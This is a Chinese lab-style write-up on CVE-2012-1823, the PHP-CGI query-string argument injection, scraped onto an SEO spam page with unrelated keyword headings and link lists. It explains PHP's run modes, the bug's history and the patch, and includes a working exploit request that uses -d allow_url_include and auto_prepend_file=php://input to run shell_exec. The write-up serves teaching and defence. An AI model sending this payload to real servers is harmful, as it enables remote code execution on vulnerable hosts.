当前位置: 首页 > news >正文

南京做企业网站的公司买一个域名多少钱

南京做企业网站的公司,买一个域名多少钱,网页制作三剑客是指,创意设计公司网站CVE-2012-1823 PHP SAPI 与运行模式 首先#xff0c;介绍一下PHP的运行模式。 下载PHP源码#xff0c;可以看到其中有个目录叫sapi。sapi在PHP中的作用#xff0c;类似于一个消息的“传递者”#xff0c;比如在《Fastcgi协议分析 PHP-FPM未授权访问漏洞 介绍一下PHP的运行模式。 下载PHP源码可以看到其中有个目录叫sapi。sapi在PHP中的作用类似于一个消息的“传递者”比如在《Fastcgi协议分析 PHP-FPM未授权访问漏洞 Exp编写》一文中介绍的fpm他的作用就是接受Web容器通过fastcgi协议封装好的数据并交给PHP解释器执行。 除了fpm最常见的sapi应该是用于Apache的mod_php这个sapi用于php和apache之间的数据交换。 php-cgi也是一个sapi。在远古的时候web应用的运行方式很简单web容器接收到http数据包后拿到用户请求的文件cgi脚本并fork出一个子进程解释器去执行这个文件然后拿到执行结果直接返回给用户同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行这种执行方式一般就被称为cgi在安装Apache的时候默认有一个cgi-bin目录最早就是放置这些cgi脚本用的。 但cgi模式有个致命的缺点众所周知进程的创建和调度都是有一定消耗的而且进程的数量也不是无限的。所以基于cgi模式运行的网站通常不能同时接受大量请求否则每个请求生成一个子进程就有可能把服务器挤爆。于是后来就有了fastcgifastcgi进程可以将自己一直运行在后台并通过fastcgi协议接受数据包执行后返回结果但自身并不退出。 php有一个叫php-cgi的sapiphp-cgi有两个功能一是提供cgi方式的交互二是提供fastcgi方式的交互。也就说我们可以像perl一样让web容器直接fork一个php-cgi进程执行某脚本也可以在后台运行php-cgi -b 127.0.0.1:9000php-cgi作为fastcgi的管理器并让web容器用fastcgi协议和9000交互。 那我之前说的fpm又是什么呢为什么php有两个fastcgi管理器php确实有两个fastcgi管理器php-cgi可以以fastcgi模式运行fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的是一个更高效的fastcgi管理器其诸多优点我就不多说了可以自己去翻翻源码。因为fpm优点更多所以现在越来越多的web应用使用php-fpm去运行php。 PHP的四种运行模式 1CGI ​ 全称是“通用网关接口”(Common Gateway Interface) 它可以让一个客户端从网页浏览器向执行在Web服务器上的程序请求数据描述的是客户端和这个程序之间传输数据的一种标准另外CGI独立于任何语言所以可以用任何一种语言编写只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。 ​ CGI针对每个用户请求都要开单独的子进程去维护所以数量多的时候会出现性能问题最近几年很少用。 2FastCGI ​ CGI的升级版本FastCGI 像是一个常驻 (long-live) 型的 CGI它可以一直执行着只要激活后不会每次都要花费时间去解析php.ini、重新载入全部dll扩展并重初始化全部数据结构。 ​ PHP使用PHP-FPM(FastCGI Process Manager)全称PHP FastCGI进程管理器进行管理。 3Cli ​ PHP-CLI是PHP Command Line Interface的简称就是PHP在命令行运行的接口区别于在Web服务器上运行的PHP环境PHP-CGI等。 ​ 在php-cli模式下我们可以直接启动一个php文件并执行就像workerman中一样 4Module加载 这种方式一般是针对apache而言的它是把php作为apache的一个子模块来运行。 漏洞影响范围 ​ 漏洞影响版本 PHP 5.3.12 、 PHP 5.4.2 ​ CVE-2012-1823是在php-cgi运行模式下出现的漏洞其漏洞只出现在以cgi模式运行的php中。 漏洞成因 ​ 这个漏洞简单来说就是用户请求的querystringquerystring字面上的意思就是查询字符串一般是对http请求所带的数据进行解析这里也是只http请求中所带的数据被作为了php-cgi的参数最终导致了一系列结果。 ​ RFC3875中规定当querystring中不包含没有解码的号的情况下要将querystring作为cgi的参数传入。所以Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则也许是曾经注意并处理了处理方法就是web上下文中不允许传入参数。 From: Rasmus Lerdorf rasmus at lerdorf.com Subject: [PHP-DEV] php-cgi command line switch memory check Newsgroups: gmane.comp.php.devel Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)In our SAPI cgi we have a check along these lines:if (getenv(SERVER_SOFTWARE)|| getenv(SERVER_NAME)|| getenv(GATEWAY_INTERFACE)|| getenv(REQUEST_METHOD)) {cgi 1;}if(!cgi) getopt(...)As in, we do not parse command line args for the cgi binary if we are running in a web context. At the same time our regression testing system tries to use the cgi binary and it sets these variables in order to properly test GET/POST requests. From the regression testing system we use -d extensively to override ini settings to make sure our test environment is sane. Of course these two ideas conflict, so currently our regression testing is somewhat broken. We havent noticed because we dont have many tests that have GET/POST data and we rarely build the cgi binary.The point of the question here is if anybody remembers why we decided not to parse command line args for the cgi version? I could easily see it being useful to be able to write a cgi script like:#!/usr/local/bin/php-cgi -d include_path/path?php...?and have it work both from the command line and from a web context.As far as I can tell this wouldnt conflict with anything, but somebody at some point must have had a reason for disallowing this.-Rasmus但开发者是为了方便使用类似#!/usr/local/bin/php-cgi -d include_path/path的写法来进行测试认为不应该限制php-cgi接受命令行参数而且这个功能不和其他代码有任何冲突。 于是源程序中的if(!cgi) getopt(...)被删掉了。 根据RFC中对于command line的说明命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path/path的方式传入php-cgi更可以通过querystring的方式传入。 漏洞利用 ​ cgi模式下有如下可控命令行参数可用 -c 指定php.ini文件PHP的配置文件的位置-n 不要加载php.ini文件-d 指定配置项-b 启动fastcgi进程-s 显示文件源码-T 执行指定次该文件-h和-? 显示帮助 那么最简单的利用方式就是-s可以直接显示源码 爆出源码说明漏洞存在。看network版本是PHP 5.4.1满足条件。 一个更好的利用方法是通过使用-d指定auto_prepend_file来制造任意文件包含漏洞执行任意代码其中用“”代替了“空格”并将“”和“:”进行了URL编码 ​ 其原理是利用可控命令行参数 -d 将allow_url_include 得值设为 on 并使用 auto_prepend_file 函数在页面顶部加载文件而构造加载的文件为 php://input 读取的原始POST数据(也就是传输的数据 ?php echo shell_exec(ls);? 的执行结果)并传递到回应包里。构造请求包如下 POST /index.php?-dallow_url_include%3don-dauto_prepend_file%3dphp%3a//input HTTP/1.1... ... ...?php echo shell_exec(ls);?在burp中构造执行的结果如下成功拿到flag 漏洞修复 ​ 修复原理是获取querystring后进行解码先跳过所有空白符小于等于空格的所有字符再判断第一个字符是否是-。如果第一个字符是-则设置skip_getopt也就是不要获取命令行参数。修复源码如下 if((query_string getenv(QUERY_STRING)) ! NULL strchr(query_string, ) NULL) {/* weve got query string that has no - apache CGI will pass it to command line */unsigned char *p;decoded_query_string strdup(query_string);php_url_decode(decoded_query_string, strlen(decoded_query_string));for (p decoded_query_string; *p *p ; p) {/* skip all leading spaces */} if(*p -) {skip_getopt 1;}free(decoded_query_string);}
http://www.pierceye.com/news/339710/

相关文章:

  • 网站软件大全免费下品牌网站策划
  • 网站解析密码网站被收录后又被提出了
  • 图片外链上传网站美篇app怎么制作
  • h5自适应网站建设是什么意思保险官网
  • 建设网站的时候名师工作室建设网站
  • 网页开发网站宜昌网站seo
  • 网站做国际化网站服务器及运营维护公告
  • 潍坊网站开发招聘信息只做乡村旅游的网站
  • 什么网站可以做二建的题目汕尾网站网站建设
  • 如何用wampp 做网站网店seo
  • 新乡企业网站建设公司长安网站建设多少钱
  • 九亭镇村镇建设办官方网站工作简历模板电子版免费
  • 有保障的无锡网站制作wordpress怎么映射到外网访问不了
  • 邯郸网站设计怎么做移动网站 用户体验
  • 实验报告网站建设与网页制作oa系统是什么
  • 信息发布网站开发模板提高网站响应速度
  • 本科网站开发毕业设计贵阳平台网站建设
  • 安徽省建设厅网站打不开杭州建设网 执法人员名单
  • 外贸网站建站公司如何做滴滴网站平台
  • 淄博张店做网站的公司建筑设计公司资质等级
  • 一个网站的建设需要哪些流程图eclipse的开发网站开发
  • 网站链接跳转怎么做建立数据库连接时出错wordpress
  • 漳州网站建设选博大不错江苏省建设工程注册中心网站
  • 文件下载网站源码免费做网站空间
  • 怎样给公司做一个网站做推广新网域名管理平台
  • 新蔡县做网站收多少钱二级分销利润分配模式
  • 鞍山百度网站怎么制作python培训视频教程
  • 湛江网站建设与网页网站建设需要什么证件
  • 东莞建站公司案例全网天下案例wordpress入门教程知乎
  • 网站策划书包含的内容化工设计网站